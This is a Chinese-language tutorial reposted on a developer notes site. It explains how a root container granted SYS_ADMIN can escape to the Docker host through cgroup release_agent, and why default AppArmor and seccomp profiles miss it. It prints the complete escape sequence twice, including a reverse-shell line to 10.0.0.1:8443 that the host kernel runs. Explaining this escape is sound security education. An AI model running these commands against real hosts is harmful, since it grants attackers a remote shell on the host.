热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

DockerSYS_ADMIN容器逃逸原理举例分析

本篇内容主要讲解“DockerSYS_ADMIN容器逃逸原理举例分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家

本篇内容主要讲解“Docker SYS_ADMIN容器逃逸原理举例分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Docker SYS_ADMIN容器逃逸原理举例分析”吧!

前言

Docker容器的不安全配置可能导致应用存在容器逃逸漏洞。本文将详细介绍利用SYS_ADMIN Capability进行容器逃逸的原理。

Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。

Linux内核在2.2版本之后,将root权限细分成了多个被称为Capability的单元。比如,Docker容器里可能需要把Web server绑定到值小于1024的端口上,这个操作需要的Capability是“CAP_NET_BIND_SERVICE”,如果给执行Web server的用户授予这个Capability,那么在绑定端口的时候,Web server就不需要以root用户运行了。

在大部分情况下,容器里的进程不需要以“完整”的root用户运行,Docker给容器内root账号只授予了几个默认的Capabilities,其他的禁用。这意味着容器里的root用户权限比宿主机上真正的root用户权限要小的多。

而在实际的使用过程中,很多用户会违背Docker的这些安全防护配置原则。比如为了方便,容器以root用户启动,同时为了执行一些特权操作,给root用户额外授权一些Capability,例如SYS_ADMIN。

如果一个Docker容器的启动方式满足以下条件,攻击者在容器中就可以逃逸到宿主机上。

  1. 以root用户的身份在容器内运行;

  2. 容器启用SYS_ADMIN Capability;

  3. 容器没有启用Docker默认的AppArmor配置文件docker-default,或者AppArmor允许运行mount syscall;

其中,条件1和2是必需的,而条件3在某些宿主机上比较容易满足,比如CentOS等Red Hat系的Linux操作系统上默认没有安装AppArmor。

例如以下面的命令开启一个Ubuntu容器:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

其中,”--cap-add=SYS_ADMIN“表示给Docker容器SYS_ADMIN的Capability。“--security-opt apparmor=unconfined”表示去除Docker默认的AppArmor配置。

攻击者可以在容器内通过挂载宿主机cgroup,并利用cgroup notify_on_release的特性在宿主机执行shell,从而实现容器逃逸。执行步骤如下:

  1. 容器内挂载宿主机cgroup,并自定义一个cgroup;

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. 配置该cgroup的notify_no_release和release_agent;

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
chmod a+x /cmd

这里使用了sh tcp的反弹shell来逃逸容器,也可以执行其他任意linux shell命令。

  1. 触发release_agent执行。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

下面详细说明一下各个步骤的操作和原理。

0x01 挂载宿主机cgroup

漏洞利用第一步是挂载宿主机的memory cgroup。

cgroup(control group、控制群组)是 Linux kernel一项进行资源分配(如 CPU 时间、系统内存、网络带宽或者这些资源的组合)的功能。使用mount -t cgroup命令可以查看宿主机当前的cgroup。

Docker SYS_ADMIN容器逃逸原理举例分析

进到要挂载的memory cgroup里。

Docker SYS_ADMIN容器逃逸原理举例分析

该文件夹包含了系统管理员对memory资源的配置,其中docker文件夹里包含了docker针对容器memory资源的默认cgroup配置。

0x011 容器cgroup

默认情况下,容器在启动时会在/sys/fs/cgroup目录各个subsystem目录的docker子目录里,生成以容器 ID 为名字的子目录

查看宿主机里的memory cgroup目录,可以看到docker目录里多了一个目录9d14bc4987d5807f691b988464e167653603b13faf805a559c8a08cb36e3251a,这一串字符是容器ID,这个目录里的内容就是用户在容器里查看/sys/fs/cgroup/memory的内容。

Docker SYS_ADMIN容器逃逸原理举例分析

0x012 mount系统调用

mount命令是一个系统调用(syscall)命令,系统调用号为165。执行syscall需要用户具备CAP_SYS_ADMIN的Capability。

如果在宿主机启动时,添加了--cap-add SYS_ADMIN参数,那root用户就能在容器内部就能执行mount挂载cgroup。(docker默认情况下不会开启SYS_ADMIN Capability)

0x013 容器内挂载cgroup

漏洞利用的第一步是在容器里创建一个临时目录/tmp/cgrp,并使用mount命令将系统默认的memory类型的cgroup重新挂载到/tmp/cgrp上。

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp

其中,-t参数表示mount的类别为cgroup,-o表示挂载的选项。对于cgroup,挂载选项就是cgroup的subsystem,每个subsystem代表一种资源类型,比如cpu、memory。具体可以参考链接:cgroup subsystems。

执行该命令之后,宿主机的memory cgroup被挂载到了容器中,对应目录/tmp/cgrp。

Docker SYS_ADMIN容器逃逸原理举例分析

需要注意的是,对cgroup进行重新挂载的操作时,只有当被挂载目标的hierarchy为空时才能成功。因此,如果这里memory的重新挂载不成功的话,可以换其他的subsystem。

接着就是在这个cgroup类型里建一个子目录x。

mkdir /tmp/cgrp/x

查看/tmp/cgrp/x可以发现有很多和memory相关的配置。

Docker SYS_ADMIN容器逃逸原理举例分析

接下来将使用x来作为POC操作的主要目标。

0x02 notify_no_release

漏洞利用的第二步和notify_no_release有关。cgroup的每一个subsystem都有参数notify_on_release,这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用,当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的内容。

需要注意的是release_agent文件并不在/tmp/cgrp/x目录里,而是在memory cgroup的根目录/tmp/cgrp里。这样的设计可以用来自动移除根cgroup里所有空的cgroup。

将/tmp/cgrp/x的notify_no_release属性设置为1。

echo 1 > /tmp/cgrp/x/notify_no_release

接着将release_agent指定为容器在宿主机上的cmd文件。具体操作是先获取docker容器在宿主机上的存储路径。

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

文件/etc/mtab存储了容器中实际挂载的文件系统。

Docker SYS_ADMIN容器逃逸原理举例分析

这里使用sed命令匹配perdir=()之间的非逗号内容,从上图可以看出,host_path就是docker的overlay存储驱动上的可写目录upperdir.

Docker SYS_ADMIN容器逃逸原理举例分析

在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/x/release_agent参数指定的文件。

echo "$host_path/cmd" > /tmp/cgrp/release_agent

0x03 容器逃逸

接下来,POC将要执行的shell写到cmd文件里,并赋予执行权限。

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
chmod a+x /cmd

最后,POC触发宿主机执行cmd文件中的shell。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。

在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行。

Docker SYS_ADMIN容器逃逸原理举例分析

0x04 AppArmor和seccomp

利用SYS_ADMIN权限逃逸Docker容器的关键在于容器要能够挂载宿主机的cgroup。为禁止容器执行mount syscall,Docker在限制用户Capabilities的基础上,会默认开启AppArmor和seccomp这两个安全防护工具。但关于这两个工具的配置,Docker给出的默认配置有一些值得注意的“瑕疵”。

0x041 AppArmor

关于AppArmor,CentOS等Red Hat系的Linux操作系统上默认没有安装AppArmor。这样文章开头提到的漏洞利用条件第3条,“容器必须没有启用Docker默认的AppArmor配置文件docker-default,或者AppArmor允许运行mount syscall”,将很容易满足,不需要显式地添加“--security-opt apparmor=unconfined”参数。

AppArmor(Application Armor)是Linux内核的一个安全模块,AppArmor允许系统管理员将每个程序与一个安全配置文件关联,从而限制程序的功能。简单的说,AppArmor是与SELinux类似的一个访问控制系统,通过它用户可以指定程序可以读、写或运行哪些文件,是否可以打开网络端口等。

比如,Docker官网给出了一个Nginx加固的例子。

profile docker-nginx flags=(attach_disconnected,mediate_deleted) {
  #include 

  ...

  deny /bin/** wl,
  deny /boot/** wl,
  deny /dev/** wl,
  deny /etc/** wl,
  deny /home/** wl,

  ...

其中,deny /bin/** wl表示阻止/bin目录下及任意层子目录下的写权限,w:写,l:创建硬链接。

Docker采用的默认配置文件是docker-default。它具有适度的保护性,同时提供广泛的应用程序兼容性。查看该配置文件生成模板,可以发现在第43行配置了禁止容器调用mount。

...

  deny mount,

  deny /sys/[^f]*/** wklx,
  deny /sys/f[^s]*/** wklx,
  deny /sys/fs/[^c]*/** wklx,
  deny /sys/fs/c[^g]*/** wklx,
  deny /sys/fs/cg[^r]*/** wklx,

  ...

这里也可以发现,该配置文件并没有禁止对/sys/fs/cgroup目录的读写。如果在实际利用过程中,发现容器里无法读写cgroup目录,可以检查容器是否在AppArmor配置里禁止了对cgroup目录的读写。

Docker默认情况下使用docker-default策略启动容器。此时,即使使用SYS_ADMIN Capbility运行该容器,它也会阻止容器执行mount系统调用。除非在容器启动时用参数--security-opt apparmor=unconfined覆盖配置。

虽然Docker默认的AppArmor配置能很好地阻止容器调用mount,但并不是所有的宿主机都支持AppArmor。对于Debian系的linux,比如Ubuntu,默认安装了AppArmor和SeLinux。而对于Red hat系的linux,比如CentOS,默认使用SeLinux,没有安装AppArmor。这就导致在Red hat系linux宿主机上,有可能不需要容器启用--security-opt apparmor=unconfined参数也能执行mount系统调用。在某个CentOS测试机上进行测试,结果如下:

Docker SYS_ADMIN容器逃逸原理举例分析

查看docker info,可以发现安全选项“Security Options”里没有开启AppArmor,只开启了seccomp。因此,在仅添加“--cap-add=SYS_ADMIN”参数的情况下CentOS宿主机仍然能成功执行POC。

Docker SYS_ADMIN容器逃逸原理举例分析

0x042 seccomp

在上一节的docker info输出中,可以看到Docker也会有一个默认的seccomp配置。那为什么seccomp没有能阻止容器调用mount?

这得从Docker默认的seccomp配置说起,在配置模板里,关于mount的配置从第600行开始。

{
			"names": [
				"bpf",
				"clone",
				"fanotify_init",
				"fsconfig",
				"fsmount",
				"fsopen",
				"fspick",
				"lookup_dCOOKIE",
				"mount",
				"move_mount",
				"name_to_handle_at",
				"open_tree",
				"perf_event_open",
				"quotactl",
				"setdomainname",
				"sethostname",
				"setns",
				"syslog",
				"umount",
				"umount2",
				"unshare"
			],
			"action": "SCMP_ACT_ALLOW",
			"args": [],
			"comment": "",
			"includes": {
				"caps": [
					"CAP_SYS_ADMIN"
				]
			},
			"excludes": {}
		},

可以看到,Docker seccomp默认配置仅依靠SYS_ADMIN来限制执行mount系统调用。如果容器启动时使用了“--cap-add=SYS_ADMIN”参数,那么seccomp就不能很好地防护容器了。

到此,相信大家对“Docker SYS_ADMIN容器逃逸原理举例分析”有了更深的了解,不妨来实际操作一番吧!这里是编程笔记网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!


推荐阅读
  • ps:写的第一个,不足之处,欢迎拍砖---只是想用自己的方法一步步去实现一些框架看似高大上的小功能(比如说模型中的toArraytoJsonsetAtt ... [详细]
  • imx6ull开发板驱动MT7601U无线网卡的方法和步骤详解
    本文详细介绍了在imx6ull开发板上驱动MT7601U无线网卡的方法和步骤。首先介绍了开发环境和硬件平台,然后说明了MT7601U驱动已经集成在linux内核的linux-4.x.x/drivers/net/wireless/mediatek/mt7601u文件中。接着介绍了移植mt7601u驱动的过程,包括编译内核和配置设备驱动。最后,列举了关键词和相关信息供读者参考。 ... [详细]
  • Linux神奇漏洞:长按回车键70秒 即可轻松拿到Root权限
    一般来说获取系统root权限是很困难的,尤其是加密系统中,但西班牙安全研究员hectormarco、ismaelripoll发现,linux系统下只需按住回车键70秒钟,就能轻 ... [详细]
  • Server Installation for Jitsi Meet
    2019独角兽企业重金招聘Python工程师标准ServerInstallationforJitsiMeetThisdescribesconfiguringaserverji ... [详细]
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • 【shell】网络处理:判断IP是否在网段、两个ip是否同网段、IP地址范围、网段包含关系
    本文介绍了使用shell脚本判断IP是否在同一网段、判断IP地址是否在某个范围内、计算IP地址范围、判断网段之间的包含关系的方法和原理。通过对IP和掩码进行与计算,可以判断两个IP是否在同一网段。同时,还提供了一段用于验证IP地址的正则表达式和判断特殊IP地址的方法。 ... [详细]
  • 树莓派语音控制的配置方法和步骤
    本文介绍了在树莓派上实现语音控制的配置方法和步骤。首先感谢博主Eoman的帮助,文章参考了他的内容。树莓派的配置需要通过sudo raspi-config进行,然后使用Eoman的控制方法,即安装wiringPi库并编写控制引脚的脚本。具体的安装步骤和脚本编写方法在文章中详细介绍。 ... [详细]
  • 腾讯安全平台部招聘安全工程师和数据分析工程师
    腾讯安全平台部正在招聘安全工程师和数据分析工程师。安全工程师负责安全问题和安全事件的跟踪和分析,提供安全测试技术支持;数据分析工程师负责安全产品相关系统数据统计和分析挖掘,通过用户行为数据建模为业务决策提供参考。招聘要求包括熟悉渗透测试和常见安全工具原理,精通Web漏洞,熟练使用多门编程语言等。有相关工作经验和在安全站点发表作品的候选人优先考虑。 ... [详细]
  • CentOS7.8下编译muduo库找不到Boost库报错的解决方法
    本文介绍了在CentOS7.8下编译muduo库时出现找不到Boost库报错的问题,并提供了解决方法。文章详细介绍了从Github上下载muduo和muduo-tutorial源代码的步骤,并指导如何编译muduo库。最后,作者提供了陈硕老师的Github链接和muduo库的简介。 ... [详细]
  • 在IDEA中运行CAS服务器的配置方法
    本文介绍了在IDEA中运行CAS服务器的配置方法,包括下载CAS模板Overlay Template、解压并添加项目、配置tomcat、运行CAS服务器等步骤。通过本文的指导,读者可以轻松在IDEA中进行CAS服务器的运行和配置。 ... [详细]
  • 安装oracle软件1创建用户组、用户和目录bjdb节点下:[rootnode1]#groupadd-g200oinstall[rootnode1]#groupad ... [详细]
  • Linux系统高级网络配置:链路聚合
    链路聚合网卡的链路聚合就是将多块网卡连接起来,当一块网卡损坏,网络依旧可以正常运行,可以有效的防止因为网卡损坏带来的损失,同 ... [详细]
  • FIN7后门工具伪装成白帽工具进行传播
    fin7,后门,工具,伪装,成,白, ... [详细]
  • 渗透测试基础bypass绕过阻挡我们的WAF(下)
    渗透测试基础-bypass ... [详细]
  • 阿里云服务器iis设置方法与上千种Linux桌面版本相比,Linux服务器只有可怜的十几种。但想要选对适合你的企业需要的仍然不是件容易的事情,选Linux服务器首先要 ... [详细]
author-avatar
西羽易
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有